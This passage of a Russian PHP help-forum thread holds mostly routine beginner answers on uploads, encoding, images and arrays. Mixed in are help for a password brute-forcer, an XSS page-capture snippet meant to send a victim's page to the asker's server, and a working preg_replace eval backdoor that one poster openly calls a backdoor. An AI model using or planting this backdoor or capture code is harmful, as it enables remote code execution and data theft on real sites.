$A=array_merge($A,array($B),array_reverse($A));
return $A;
}else return array(array(0));
}
function print_square($arr){
echo "<table>";
foreach($arr as $V){
echo "<tr>";
foreach($V as $v){
echo "<td>$v</td>";
}
echo "</tr>";
}
echo "</table>";
}
print_square(olol0square(5));
upd: без таблиц и ибраузер и скрипт меньше секунды работают, даже если выставить на 500

Terranova
26.05.2010, 16:40
Вопрос нуба. Есть инет-магазин. Цены берутся из прайса, что загружается. Но есть позиции на которые цены ставить не нужно, а нужно что то типа "звоните уточняйте".
Как лучше такое организовать?

phpdreamer
26.05.2010, 16:58
нужно смотреть в БД какого типа поле с ценой
Скорее всего оно числовое, я вижу такие варианты решения:
1)Поменять тип поля на символьное и установить значения "?" для товаров с неизвесной ценой (это плохой вариант - БД станет занимать больше места, минус в скорости и могут возникнуть конфликты)
2) поставить для таких товаров цену 0 или -1
3) поставить для таких товаров цену 0 или -1, но на выводе из БД сделать проверку (если цена 0, то выводим "уточните у менеджера")

FindeR
26.05.2010, 23:24
На одном из сайтов много картинок с русскими буквами в именах.
На домашнем серваке замечательно всё работает
Картинки вида site.ru/картинка.jpg нормально открываются и отображаются.
Залил на хост - там косяк. На картинка.jpg ругается 404-й. На urlencode('картинка.jpg') тоже 404 (и на rawurlencode('картинка.jpg').

Нормально отображается только в виде - %d0%e5%ec%e5%ed%fc%20.jpg

Как привести все названия к такому виду?
Или как заставить сервак нормально отображать их в первозданном виде?
Либы, вроде, одинаковые везде включены. Версии iconv различаются, но хз, может быть из-за этого или нет...

m0Hze
26.05.2010, 23:28
На одном из сайтов много картинок с русскими буквами в именах.
На домашнем серваке замечательно всё работает
Картинки вида site.ru/картинка.jpg нормально открываются и отображаются.
Залил на хост - там косяк. На картинка.jpg ругается 404-й. На urlencode('картинка.jpg') тоже 404 (и на rawurlencode('картинка.jpg').

Нормально отображается только в виде - %d0%e5%ec%e5%ed%fc%20.jpg

Как привести все названия к такому виду?
Или как заставить сервак нормально отображать их в первозданном виде?
Либы, вроде, одинаковые везде включены. Версии iconv различаются, но хз, может быть из-за этого или нет...
Пройтись в цикле по папке, и переименовать все картинки в транслитерационный вариант.

FindeR
26.05.2010, 23:41
m0Hze, не как переименовать все, а как привести строку, например, "ремень.jpg" к виду "%d0%e5%ec%e5%ed%fc.jpg". Может, есть функция подобная urlencode...

Да и толку переименовывать, если файлы ещё добавляться будут.

roxblnfk
27.05.2010, 00:06
%d0%e5%ec%e5%ed%fc%20.jpg - 'Ремень .jpg'
Убрал бы пробел перед .jpg и хватило бы urlencode (т.к. urlencode вместо пробела ставит +)
Есть вариант менять через str_replace плюсы на пробелы
str_replace('+','%20',urlencode($url))
Либо по циклу берёшь ord() от каждого символа, переводишь в HEX, ставишь перед каждым хексом % (перед однобайтовым хексом 0 не забудь).. можно, конечно, ещё наложить фильтр на латину (точки и т.д.) и всё в strtolower() и тогда будет полное соответствие :)

upd: насчёт rawurlencode('картинка.jpg') -- проверь правильность ввода имени файла в строке, мало ли там где пробел или похожая буква из другого языка (т.е. имя файла копи-паст)

FindeR
27.05.2010, 00:31
roxblnfk, спасибо тебе! Сразу понял, в чём затык был.

Прокатил вариант - str_replace('%2F', '/', rawurlencode($url))
При urlencode тоже ещё пришлось менять '%2F' на '/'

w_2k
27.05.2010, 16:44
Доброго времени суток! Народ, помогите со скриптом. Всего-то надо просто залить файл в папку с правами 777, писал свой скрипт, качал готовые, ниче не работает. Вот пример:
Форма:

<html>
<head>
<title>Обработка переданного файла</title>
</head>
<body>
<form action=upload.php method="POST" enctype=multipart/form-data>
Выберите файл:<br>
<input type="file" name=File><br>
<br>
<input type=submit name=doUpload value="загрузить"><br>
</form>
</body>
</html>

Обработчик

<?php
$ImgDir=".";
print $_POST['File'];
print $_FILE['File'];
if ($_POST['doUpload'])
{
print "asda";
if (file_exists($File))
{
print "123";
Copy($File, "$ImgDir/".basename($File_name));
}
}
?>

Переменная $File почему-то пустая...Можешь поможет кто?

m0Hze
27.05.2010, 17:03
Доброго времени суток! Народ, помогите со скриптом. Всего-то надо просто залить файл в папку с правами 777, писал свой скрипт, качал готовые, ниче не работает. Вот пример:
Форма:

<html>
<head>
<title>Обработка переданного файла</title>
</head>
<body>
<form action=upload.php method="POST" enctype=multipart/form-data>
Выберите файл:<br>
<input type="file" name=File><br>
<br>
<input type=submit name=doUpload value="загрузить"><br>
</form>
</body>
</html>

Обработчик

<?php
$ImgDir=".";
print $_POST['File'];
print $_FILE['File'];
if ($_POST['doUpload'])
{
print "asda";
if (file_exists($File))
{
print "123";
Copy($File, "$ImgDir/".basename($File_name));
}
}
?>

Переменная $File почему-то пустая...Можешь поможет кто?
1) А почему собственно переменная $File должна быть определена? И даже больше, почему в ней должен лежать путь к файлу? оО
2) Какой на*** copy();? )
3) http://www.php.ru/manual/features.file-upload.html
http://php.net/manual/en/reserved.variables.files.php
http://ru.php.net/manual/en/function.move-uploaded-file.php

w_2k
27.05.2010, 17:10
Благодарю)

FindeR
28.05.2010, 01:30
Помогите разобраться.
Была проблема с загрузкой постом файлов на сервак.
Накидал вот такой скрипт для теста (кинул в папку с правами 777).


<?php
if (empty($_FILES["img_file"]["name"])) {
?>
<form action="index.php" method="POST" enctype="multipart/form-data">
img: <input type="file" name="img_file" />
<input type="submit" value="Загрузить" />
</form>
<?php
}
else {

$imageinfo = getimagesize($_FILES['img_file']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/png')
{
echo '<span style="font-size:13px;">Ошибка загрузки изображения.</span>';
}

else
{
move_uploaded_file($_FILES["img_file"]["tmp_name"], $_FILES["img_file"]["name"]);

echo '<img src="'.$_FILES["img_file"]["name"].'" />';
}
}
?>


На денвере всё замечательно. Загружаются jpg,gif,png.

А вот при заливке на хостинг начинаются проблемы.

1) При попытке загрузки jpg/jpeg вываливает "Ошибка загрузки изображения". Причём, $_FILES['img_file']['tmp_name'] не пуст! А вот getimagesize от него уже не берётся - пусто. Правда, догадываюсь, что это связано со вторым вопросом :)

2) При загрузке оставшихся png и gif он их загружает, отрабатывается move_uploaded_file (файл появляется в папке), но вот потом нифига не отображается. В мозиллке отображается иконка повреждённого файла, в IE крестик...Если слить с сервера файл - не открывается уже. Откуда берётся эта "обработка" файла?

SHiNiGaMi
29.05.2010, 09:28
У меня такое же было. Может быть потому что на хостинге *nix а символы переноса строки в винде и *nix разные.(\r\n и \n) При переходе из одной системы в другую они интерпретируются, а т.к. Картинка передается как бинарник, то содержимое файла меняется и он повреждается.

programming
29.05.2010, 12:51
Как проверить ftp на валидность php средствами?

Chaak
29.05.2010, 13:00
Как проверить ftp на валидность php средствами?
http://php-book.net/ftp-connect.html

FindeR, echo $_FILES['uploadfile']['error'];

и еще попробуй указать точный путь до файла

move_uploaded_file($_FILES["img_file"]["tmp_name"], dirname(__FILE__).'/'.$_FILES["img_file"]["name"]);

GrinGoO
29.05.2010, 13:10
Итак, нужно отредактировать файл через форму. В данном случае html файл шаблона.

Делаю всё это так:

<?php
file_get_contents("../../style/header.html"); //Получаю содержимое
// ну и проверяю переменную и записываю в файл и перенаправляю на страницу, которая сообщает о успешном действии.
if(empty($_POST['header'])) {
file_put_contents("../../style/header.html", $_POST['header']);
header("Location: ../ok.php");
}

?>

<form action="editstyle.php" method="post">
<textarea name="header" cols="100" rows="20"><?=$header; ?></textarea>
<input type="submit" value="Записать" />
</form>
</body>
</html>


Внимание вопрос: после записи html в файл записывается много лишних слешей.. Перед каждой кавычкой добавляется "\" (обратный слеш). Как это избежать?

Chaak
29.05.2010, 13:14
Итак, нужно отредактировать файл через форму. В данном случае html файл шаблона.

Делаю всё это так:

<?php
file_get_contents("../../style/header.html"); //Получаю содержимое
// ну и проверяю переменную и записываю в файл и перенаправляю на страницу, которая сообщает о успешном действии.
if(empty($_POST['header'])) {
file_put_contents("../../style/header.html", $_POST['header']);
header("Location: ../ok.php");
}

?>

<form action="editstyle.php" method="post">
<textarea name="header" cols="100" rows="20"><?=$header; ?></textarea>
<input type="submit" value="Записать" />
</form>
</body>
</html>


Внимание вопрос: после записи html в файл записывается много лишних слешей.. Перед каждой кавычкой добавляется "\" (обратный слеш). Как это избежать?
stripslashes();

или отключи в php.ini magic_quotes_gpc

bug999
29.05.2010, 14:21
нужно написать скрипт который будет записывать в файл все ссылки с которых перешли на страницу, ну с суперглобального масива. помогите

Chaak
29.05.2010, 14:52
нужно написать скрипт который будет записывать в файл все ссылки с которых перешли на страницу, ну с суперглобального масива. помогите
$_SERVER['HTTP_REFERER']
fopen()
fwrite()
fclose()

DonKihot
29.05.2010, 15:41
1-ая строка /www
2-ая строка /www/script/

Как из 2-строки удалить совпадающую подстроку с 1-ой строкой,
чтобы получить /script

Если для этого спец.функция?

POS_troi
29.05.2010, 15:47
echo substr("/www/script/", 4);

отдаст /script

А вообще начать нужно отсюда http://phpfaq.ru/docs

wildshaman
29.05.2010, 16:11
$str1="/www";
$str2="/www/script/";
echo str_replace($str1, "", $str2);

Pashkela
29.05.2010, 16:32
<?
$str1="/www/script";
$str2="/www";
if (strpos($str1, $str2) === false) $str2=str_replace($str1, "", $str2);
else $str1=str_replace($str2, "", $str1);
echo $str1 . " : " . $str2;
?>


^_^

DonKihot
29.05.2010, 18:22
есть файл index.php например.
Он запущен.
Какой функцией можно определить его название.

p.,s: название файла нужно заносить будет в переменную.

SHiNiGaMi
29.05.2010, 18:39
$_SERVER[PHP_SELF];

Failure
29.05.2010, 18:54
PHP_SELF это путь к файлу, если только имя то
substr(strrchr(__FILE__, DIRECTORY_SEPARATOR), 1)

Pashkela
29.05.2010, 19:32
echo substr($_SERVER['SCRIPT_NAME'],1);

^_^

Ponchik
29.05.2010, 21:47
Ну если на то пошло....
<?php
$filename = pathinfo($_SERVER["SCRIPT_FILENAME"]);
$filename = $filename['basename'];
echo $filename;
?>

roxblnfk
30.05.2010, 00:26
Ну если на то пошло....
<?php
$filename = pathinfo($_SERVER["SCRIPT_FILENAME"]);
$filename = $filename['basename'];
echo $filename;
?>

может проще =basename($_SERVER["SCRIPT_FILENAME"]); ? :)

.Slip
30.05.2010, 06:22
Наркоманы

basename(__FILE__)

Axel G
30.05.2010, 14:52
Dопрос, как узнать размер изображения, а также его ширину и высоту (знаю что imagesx и imagesy, но вывести не получается)? Пытаюсь следующим образом, но не работает. $urlf - полная ссылка на изображение. Размер в байтах, необходимо получить КБ.


<?php

$size= getimagesize($urlf);

$width= imagesx($urlf);

$height= imagesy($urlf);

echo "<p>Изображение: $width x $height ($size KB)</p>";

?>


Результат:

Warning: imagesx() expects parameter 1 to be resource, string given in Z:\home\test.ru\www\details.php on line 5
Warning: imagesy() expects parameter 1 to be resource, string given in Z:\home\test.ru\www\details.php on line 7

Изображение: x (Array KB)

Собаку перед функцией пробовал ставить не помогает.

Chaak
30.05.2010, 15:08
<?php
$urlf = '123.png';
$size = getimagesize($urlf); //функция возвращает размер картинки для тега img, т.е [0] - ширина, [1] - высота, [2] - тип изображения, [3] - [0] + [1]

$width = $size[0];
$height = $size[1];

$weight = ceil(filesize($urlf)/1024); //размер в килобайтах

echo " <p>Изображение: $width x $height ($weight KB)</p> ";
//кстати двойные кавычки нужны когда ты хочешь в строку вставить переменную
?>

Failure
30.05.2010, 15:14
в imagesx надо в параметр передавать указатель на картинку, а не путь к картинке

$picture = "0.png";
$img = imageCreateFromPNG($picture);
echo imagesx($img);

#Wolf#
30.05.2010, 15:34
<?php
$urlf = '123.png';
$size = getimagesize($urlf); //функция возвращает размер картинки для тега img, т.е [0] - ширина, [1] - высота, [2] - тип изображения, [3] - [0] + [1]

$width = $size[0];
$height = $size[1];

$weight = ceil(filesize($urlf)/1024); //размер в килобайтах

echo " <p>Изображение: $width x $height ($weight KB)</p> ";
//кстати двойные кавычки нужны когда ты хочешь в строку вставить переменную
?>
если изображение на внешнем сервере то не filesize, а

function getfs($url){
$headers = get_headers($url, 1);
return (int)$headers['Content-Length'];
}

Chaak
30.05.2010, 15:44
спасибо кэп

Axel G
30.05.2010, 15:45
Chaak, спасибо ваш вариант работает ширину и высоту определил, но размер так и не определяет

$weight = ceil(filesize($urlf)/1024); //размер в килобайтах

Warning: filesize() [function.filesize]: stat failed for http://test.ru/images/8ca9ccaa20aed93d539d43eca0f6b1c5.jpg in Z:\home\test.ru\www\details.php on line 25

FindeR
30.05.2010, 16:09
https://forum.antichat.ru/showpost.php?p=2169390&postcount=16076

У меня такое же было. Может быть потому что на хостинге *nix а символы переноса строки в винде и *nix разные.(\r\n и \n) При переходе из одной системы в другую они интерпретируются, а т.к. Картинка передается как бинарник, то содержимое файла меняется и он повреждается.

Так а исправить-то ситуацию как?:)

Compton
30.05.2010, 16:15
есть небольшой брутер через fsockopen
проблема в том,что если первый пароль не подходит,то остальные пароли не проверяются,т.к. соединение не открывается
как сделать,чтобы все пароли проверялись?

Chaak
30.05.2010, 16:23
Chaak, спасибо ваш вариант работает ширину и высоту определил, но размер так и не определяет

$weight = ceil(filesize($urlf)/1024); //размер в килобайтах

Warning: filesize() [function.filesize]: stat failed for http://test.ru/images/8ca9ccaa20aed93d539d43eca0f6b1c5.jpg in Z:\home\test.ru\www\details.php on line 25
Как написал #Wolf#
function getfs($url){
$headers = get_headers($url, 1);
return ceil(((int)$headers['Content-Length']/1024));
}
использовать эту функцию


Compton, код, пожалуйста, в студию :).
Вообще можно соединение открыть 1 раз и 40 раз туда записывать/читать. Так думаю будет лучше

Axel G
30.05.2010, 16:40
Я наверно вывожу как то не так ($getfs), ошибка пропала, но размер не появляется, вывводится ( KB) а самого значения нет.

$size = getimagesize($urlf); //функция возвращает размер картинки для тега img, т.е [0] - ширина, [1] - высота, [2] - тип изображения, [3] - [0] + [1]

$width = $size[0];
$height = $size[1];
$type = $size['mime'];

function getfs($urlf){
$headers = get_headers($urlf, 1);
return ceil(((int)$headers['Content-Length']/1024)); //размер в килобайтах
}

echo " <p align='center'>$type $width x $height ($getfs KB) $id</p> ";
//кстати двойные кавычки нужны когда ты хочешь в строку вставить переменную

Chaak
30.05.2010, 16:42
Я наверно вывожу как то не так ($getfs), ошибка пропала, но размер не появляется, вывводится ( KB) а самого значения нет.

$size = getimagesize($urlf); //функция возвращает размер картинки для тега img, т.е [0] - ширина, [1] - высота, [2] - тип изображения, [3] - [0] + [1]

$width = $size[0];
$height = $size[1];
$type = $size['mime'];

function getfs($urlf){
$headers = get_headers($urlf, 1);
return ceil(((int)$headers['Content-Length']/1024)); //размер в килобайтах
}

echo " <p align='center'>$type $width x $height ($getfs KB) $id</p> ";
//кстати двойные кавычки нужны когда ты хочешь в строку вставить переменную



$size = getimagesize($urlf); //функция возвращает размер картинки для тега img, т.е [0] - ширина, [1] - высота, [2] - тип изображения, [3] - [0] + [1]

$width = $size[0];
$height = $size[1];
$type = $size['mime'];

//это только показывает как функция будет выглядеть
function getfs($urlf){
$headers = get_headers($urlf, 1);
return ceil(((int)$headers['Content-Length']/1024)); //размер в килобайтах
}
$weight = getfs($urlf); //а это ее использование

echo " <p align='center'>$type $width x $height ($weight KB) $id</p> ";
//кстати двойные кавычки нужны когда ты хочешь в строку вставить переменную

Axel G
30.05.2010, 16:49
Chaak, #Wolf#, спасибо вам большое

Axel G
30.05.2010, 17:12
Чак, а еще такой вопрос как сделать поточнее вывод в килобайтах, имею ввиду до сотых долей, например 977.65 KB. Стало интересно = )

Chaak
30.05.2010, 17:51
Учим математику. Делим не на килобайты, а на килобиты, затем уже на килобайты, и выводим до сотых долей. Алгоритм примерно такой.
хороший "план"
ты предлагаешь количество байт делить на 8, затем уже на 1024 и что ты получишь в этом случае?

Чак, а еще такой вопрос как сделать поточнее вывод в килобайтах, имею ввиду до сотых долей, например 977.65 KB. Стало интересно = )
вместо ceil используй функцию round
$size = getimagesize($urlf); //функция возвращает размер картинки для тега img, т.е [0] - ширина, [1] - высота, [2] - тип изображения, [3] - [0] + [1]

$width = $size[0];
$height = $size[1];
$type = $size['mime'];

//это только показывает как функция будет выглядеть
function getfs($urlf){
$headers = get_headers($urlf, 1);
return round(((int)$headers['Content-Length']/1024), 2); //размер в килобайтах
}
$weight = getfs($urlf); //а это ее использование

echo " <p align='center'>$type $width x $height ($weight KB) $id</p> ";
//кстати двойные кавычки нужны когда ты хочешь в строку вставить переменную

Axel G
30.05.2010, 18:00
Chaak, всё работает, благодарю за помощь!

DonKihot
30.05.2010, 19:01
есть двумерный массив $array []['name'], $array[]['surname'].
Как определить кол-во элементов в нем? Ведь count только для одномерного массива?

phpdreamer
30.05.2010, 19:22
$array1 = array('name'=>'Vasia', 'surname'=>'Olegovich');
$array2 = array('name'=>'Petr', 'surname'=>'Egorich');
$array3 = array('name'=>'Oleg', 'surname'=>'Moiseevich');

$a = array($array1,$array2,$array3);
//count работает
echo count($a);

Chaak
30.05.2010, 19:27
есть двумерный массив $array []['name'], $array[]['surname'].
Как определить кол-во элементов в нем? Ведь count только для одномерного массива?
$c = 0;
foreach($array as $key=>$val)
$c += count($array[$key]);

echo $c;

krypt3r
30.05.2010, 20:21
echo count ($array, COUNT_RECURSIVE);

Chaak
30.05.2010, 20:26
echo count ($array, COUNT_RECURSIVE);

к примеру в массиве
array
(
[0] => array(1,2)
[1] => array(1,2,3,4,5)
)
будет не 7 элементов, а 9, я думаю ему нужно другое ^_^

GOGA075
30.05.2010, 20:33
Подскажите что это за кодировка?
http://narod.ru/disk/21318494000/testfile.rar.html

Chaak
30.05.2010, 20:57
Это не кодировка, а шифрование кода Zend'ом

Kusto
30.05.2010, 21:13
блин, ничего в голову не лезет- спрошу здесь: задача такова, пользователь находиться на странице в исходном коде которой есть пару переменных(время их жизни=жизни сессии) , щелкает по ссылке и мне надо чтоб эти переменные отправились на сервак (или хотяб вся страница чтоб я уже на месте смог вытянуть регулярками эти пару переменных) , такое возможно? (большая просьба кто не знает не отвечайте плиз)

GOGA075
30.05.2010, 21:13
Это не кодировка, а шифрование кода Zend'ом
А это расшифровать можно?

Chaak
30.05.2010, 21:20
Kusto, <input type='hidden' name='asd' value='xx'>
при отправке формы на сервер в POST'e или GET'e эти переменные передадутся

GOGA075, существуют разные дезендеры. Можешь рабочий поискать в гугле, я честно не знаю какой лучше.

GOGA075
30.05.2010, 21:41
Chaak
Ну если ты не знаешь какой лучше, то я не знаю что такое вообще эти дезендеры!!

Chaak
30.05.2010, 21:48
Chaak
Ну если ты не знаешь какой лучше, то я не знаю что такое вообще эти дезендеры!!
программа для расшифровывания этого кода
https://forum.antichat.ru/thread69285.html
например

Kusto
30.05.2010, 21:50
Kusto,
при отправке формы на сервер в POST'e или GET'e эти переменные передадутся

[B]

в том то и дело, я наверное забыл написать что пользователь находиться на ЧУЖОМ сайте, вобщем нужно что то наподобие снифера только чтоб не куки или там данные о браузере передавались, а ВСЯ HTML страница на которой находиться пользователь (при условии что он перейдет по ссылке, т е нажал на ссылку-отправил html на котором находиться в данный момент) Из этого html на моем серваке уже не составит труда вытянуть регулярками переменные которые меня интересуют (в этой HTMLке есть данные которые живут от сессии до сессии)

GOGA075
30.05.2010, 22:02
Chaak
Благодарю, расшифровал все что надо...

Gifts
30.05.2010, 22:12
Kusto такое возможно, только если есть возможность выполнять JS в контексте целевого сайта (оно же XSS). Получится нечто вроде:
<html>
<head>
<script language="JavaScript">
function get_info()
{
alert(document.getElementById('getit').innerHTML);
}
</script>
</head>
<body onload="get_info()">
<div id="getit">text to be parsed</div>
</body>
</html> Вместо alert соответственно будет отправка гетом/постом. Но обо всем прочем вам посоветуют либо в теме про JS либо в теме про уязвимости

Architek86
31.05.2010, 03:50
При использовании кириллицы в имени домена, она преобразуется в код вида "xn--80aa2ab" и только потом передаётся серверу. Каким алгоритмом php можно выполнить обратное преобразование, т.е. в нашем примере "xn--80aa2ab" == "кака".
???

krypt3r
31.05.2010, 07:18
Architek86, например

http://www.phpclasses.org/browse/file/5845.html

А также гугл с ключевыми словами

IDNA Punycode RFC3492

Compton
31.05.2010, 15:23
есть большой цикл,почему скрипт может зависать на 1/4 до конца и как это исправить?

Chaak
31.05.2010, 15:40
set_time_limit(0);

Compton
31.05.2010, 15:46
стоит,все равно виснет

Chaak
31.05.2010, 15:48
скинь код я не экстрасенс

SHiNiGaMi
31.05.2010, 16:58
https://forum.antichat.ru/showpost.php?p=2169390&postcount=16076



Так а исправить-то ситуацию как?:)

я не знаю, я просто переделывал все картинки в GIF и все было нормально..

Nightmarе
31.05.2010, 17:23
Подскажите плз, как из текста убрать одинаковые строки?
К примеру в переменной такая инфа:
$ass = <<<LOL
stroka1
stroka2
stroka2
stroka3
stroka4
stroka1
stroka5
stroka5
LOL;

И в итоге было:

stroka1
stroka2
stroka3
stroka4
stroka5

d_x
31.05.2010, 17:29
$str = implode("\r\n", array_unique(array_map('trim', explode("\n", $str))));

mailbrush
31.05.2010, 20:41
d_x, зачем делать trim для элементов массива, а потом объединять их через \r\n, обрезанный тем же trim? Да, и строка может иметь пробелы.

Как вариант:

$str = implode("", array_unique(explode("\n", $str)));

krypt3r
31.05.2010, 20:47
Внушительней смотриццо)

d_x
01.06.2010, 00:31
mailbrush, не было конакретных требований касательно этого.

Твой способ не сработает, например, если строки будут разделены \r\n, а после последней строки \r\n не будет, вроде такого:


11111\r\n
22222\r\n
11111


Мой код можно еще уточнить:

$str = implode("\r\n", array_unique(array_map('mytrim', explode("\n", $str))));

function mytrim($str)
{
return trim($str, "\r\n");
}

Теперь он будет учитывать наличие пробелов и не будет ошибаться в вышеописанном случае.

mailbrush
01.06.2010, 00:50
Да, точно, последняя строка будет без \r\n, тоесть не равна 11111\r\n. Вот тут просчитался :)

А вообще, идеальный вариант тогда вот так:

$str = implode("\r\n", array_unique(array_map('mytrim', explode("\n", $str))));

function mytrim($str)
return trim($str, "\r\n");

Просто визуально лучше выглядит, хотя функционал тот же.

Ладно, забьем ;)

DonKihot
01.06.2010, 08:27
1.Как узнать время создания (НЕ изменения) файла?
2. Как узнать какие права доступа к файлу/папке?

Желательно через stat . Очень нужно.
Вот инфа :
stat(filename)[9] - время последней модификации содержимого файла;
stat(filename)[10] - время последнего изменения атрибутов файла;
но не ясно что к чему относится.

krypt3r
01.06.2010, 09:13
2. fileperms()

Ins3t
01.06.2010, 09:56
1.Как узнать время создания (НЕ изменения) файла?
2. Как узнать какие права доступа к файлу/папке?

Желательно через stat . Очень нужно.
Вот инфа :
stat(filename)[9] - время последней модификации содержимого файла;
stat(filename)[10] - время последнего изменения атрибутов файла;
но не ясно что к чему относится.

stat() не везде работает.


<?php
$filename = 'test.txt';

if (file_exists($filename))
echo "Файл $filename создан: " . date(" <b>d.Y.H:i:s</b>", filectime($filename));
else
echo "Error, File don't opening!";
?>

krypt3r
01.06.2010, 11:07
И filectime() не поможет

Note: Note also that in some Unix texts the ctime of a file is referred to as being the creation time of the file. This is wrong. There is no creation time for Unix files in most Unix filesystems.

Ins3t
01.06.2010, 11:21
И filectime() не поможет

stat() по описанию под виндой вообще работать не должен( -1 вернет ), а filectime() вернет не верный результат в случае если измены права на файл или группа.

m0Hze
01.06.2010, 12:22
В SPL уже есть вполне рабочие методы для работы с файлами.
Например, При работе с рекурсивным просмотром директорий(RecursiveDirectoryIterator).
Хорошее описание есть в офф манах. Да и всякой всячины там полно, и работать удобнее. Если что-то не так, то выведет соответствующую ошибку, которую можно отловить теми-же исключениями, опять же из spl :)
Описаловка тут:
http://www.php.net/~helly/php/ext/spl/classRecursiveDirectoryIterator.html
//правда нужен php5, если память не изменяет.

Gifts
01.06.2010, 13:19
Ins3t хотелось бы узнать, в каких это случаях stat() не будет работать? И где это вы увидели, что stat() будет возврашать -1. В мане описано, что -1 будет возвращено только для поля blksize и то не обязательно для винды той же самой.

DonKihot файловым системам нисколько не интересно, когда файл был создан. Они оперируют 3 временами, о которых нам например может рассказать ман:
The field st_atime is changed by file accesses, e.g. by execve(2), mknod(2), pipe(2), utime(2) and read(2) (of more than zero bytes).
Other routines, like mmap(2), may or may not update st_atime.

The field st_mtime is changed by file modifications, e.g. by mknod(2), truncate(2), utime(2) and write(2) (of more than zero bytes).
Moreover, st_mtime of a directory is changed by the creation or deletion of files in that directory. The st_mtime field is not changed
for changes in owner, group, hard link count, or mode.

The field st_ctime is changed by writing or by setting inode information (i.e., owner, group, link count, mode, etc.).
Таким образом. atime - изменяется при чтении файла, mtime - при записи в файл, ctime - при изменении аттрибутов. Однако тот же ман говорит: Not all of the Linux filesystems implement all of the time fields. Some file system types allow mounting in such a way that file
accesses do not cause an update of the st_atime field. (See ‘noatime’ in mount(8).)
То есть на НЕКОТОРЫХ системах можно смотреть на atime как время создания файла, но всецело полагаться на это не стоит.

Если уж вам настолько критично именно создание файла, то либо создавайте в БД таблицу, с датой заливки файла, либо смотрите минимальную дату среди mtime, ctime и atime

Ins3t
01.06.2010, 15:43
хотелось бы узнать, в каких это случаях stat() не будет работать? И где это вы увидели, что stat() будет возврашать -1. В мане описано, что -1 будет возвращено только для поля blksize и то не обязательно для винды той же самой.

Да, Вы правы, действительно сказано, что blksize доступен только на системах, поддерживающих тип st_blksize - другие системы (например Windows) вернут -1. Прочел описание по диагонали.

Nightmarе
01.06.2010, 16:33
Подскажите, как в функции preg_replace() во втором параметре выставить небольшую проверку переменной?
Мне нужен рабочий код:

preg_replace('@(.+)@ie','if ($_REQUEST[cmd2] == "ass") {eval("\\1");die;}','$_REQUEST[cmd]');

Но такая конструкция не поддерживается функцией preg_replace, можно ли как по другому в самой функции сделать проверку?

PS: тока не советуйте
if ($_REQUEST[cmd2] == "ass")
preg_replace() и т.д...

roxblnfk
01.06.2010, 16:39
а чё у тебя всё в кавычках? xD
какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?

вобщем:
preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');

если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243

ps: надеюсь, константа cmd2 у тебя задана :) и третий аргумент - не переменная, а текст ;)

m0Hze
01.06.2010, 17:04
а чё у тебя всё в кавычках? xD
какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?

вобщем:
preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');

если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243

ps: надеюсь, константа cmd2 у тебя задана :) и третий аргумент - не переменная, а текст ;)
Смотрим внимательнее, и видим ключ e у регулярки. А теперь дружно топаем в гугл и смотрим, что же он делает.

Nightmarе
01.06.2010, 17:07
а чё у тебя всё в кавычках? xD
какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?

вобщем:
preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');

если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243

ps: надеюсь, константа cmd2 у тебя задана :) и третий аргумент - не переменная, а текст ;)
при передаче cmd2 ="ass" или без передачи ничего не выводится, константа тут не должна играть роли, ибо всё работает и без определения переменной, есть cmd2 или его нету.

Gifts
01.06.2010, 17:32
Nightmare Зачем такой сложный бекдор, если можно глушить ошибки с помощью "@" ? А так рабочий вариант:
<?PHP
$_REQUEST['cmd2']="ass";
$_REQUEST['cmd'] = 'phpinfo();';
preg_replace('@(.+)@ie',($_REQUEST[cmd2] == "ass")?"eval('\\1');die;":"",$_REQUEST[cmd]);

programming
01.06.2010, 18:53
На сайте http://loveplanet.ru/ после поиска(зарегистрированным пользователям) можно заходить в анкеты других людей и ставить Да или Нет. Так вот это делается яваскриптом:
<a href="#" onclick="return likes.send(1);" class="btn_orange fl" style="width: 70px; margin-left: 20px"><span>Да</span></a>
<a href="#" onclick="return likes.send(2);" class="btn_blue fl" style="width: 60px; margin-left: 15px"><span>Нет</span></a>

А вот и яваскрипт:
<script language="javascript"><!--
var likes = {
xhr: window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(),
lks: document.getElementById('likes'),
ltr: document.getElementById('likes_true'),
lfl: document.getElementById('likes_false'),
login: 'fuzionbly',
send: function(vote){
likes.lks.style.display = 'none';
var data = '/?a=likes&login='+this.login+'&likes='+vote;
this.xhr.open('GET', data, true);
this.xhr.onreadystatechange = function(){
if(likes.xhr.readyState == 4 && likes.xhr.status == 200){
var responseText = likes.xhr.responseText;
if(responseText == 1){
likes.ltr.style.display = 'block';
}else if(responseText == 2){
likes.lfl.style.display = 'block';
}
}
}
this.xhr.send(data);
return false;
}
}
--></script>


Куда мне нужно отсылать на сервер запрос, чтобы поставить Да?
Спасибо.

Redwood
01.06.2010, 22:56
Снифай и поймешь куда и что отправлять

Axel G
01.06.2010, 23:09
Ребят такой вопрос, есть переменная

$tsize= 250;

нужно сделать так что бы она была контролируема при загрузке, это получается надо в форму добавить

<input type="text" name="thumb" size="3">

Юзер вписывает желаемое ему число и теперь вопрос, как мне это число преобразовать в значение переменной $tsize= ;

Само число должно быть строго меньше 300, но больше 100, ежели не удовлетворяет то echo"Не удалось загрузить файл";

Redwood
01.06.2010, 23:22
Ребят такой вопрос, есть переменная

$tsize= 250;

нужно сделать так что бы она была контролируема при загрузке, это получается надо в форму добавить

<input type="text" name="thumb" size="3">

Юзер вписывает желаемое ему число и теперь вопрос, как мне это число преобразовать в значение переменной $tsize= ;

Само число должно быть строго меньше 300.
Не очень понял задачу, так?

<form action = '' method = 'post'>
<input type = 'text' name = 'thumb' size = '3'>
<input type = 'submit' value = 'ok'>
</form>
<?php
$tsize = 250;
$thumb = $_POST ['thumb'];
if (isset ($thumb) && ($thumb) <300 )
{
$tsize = $thumb;
}
?>

Axel G
01.06.2010, 23:30
Redwood, не совсем так, но алгоритм мне стал ясен.

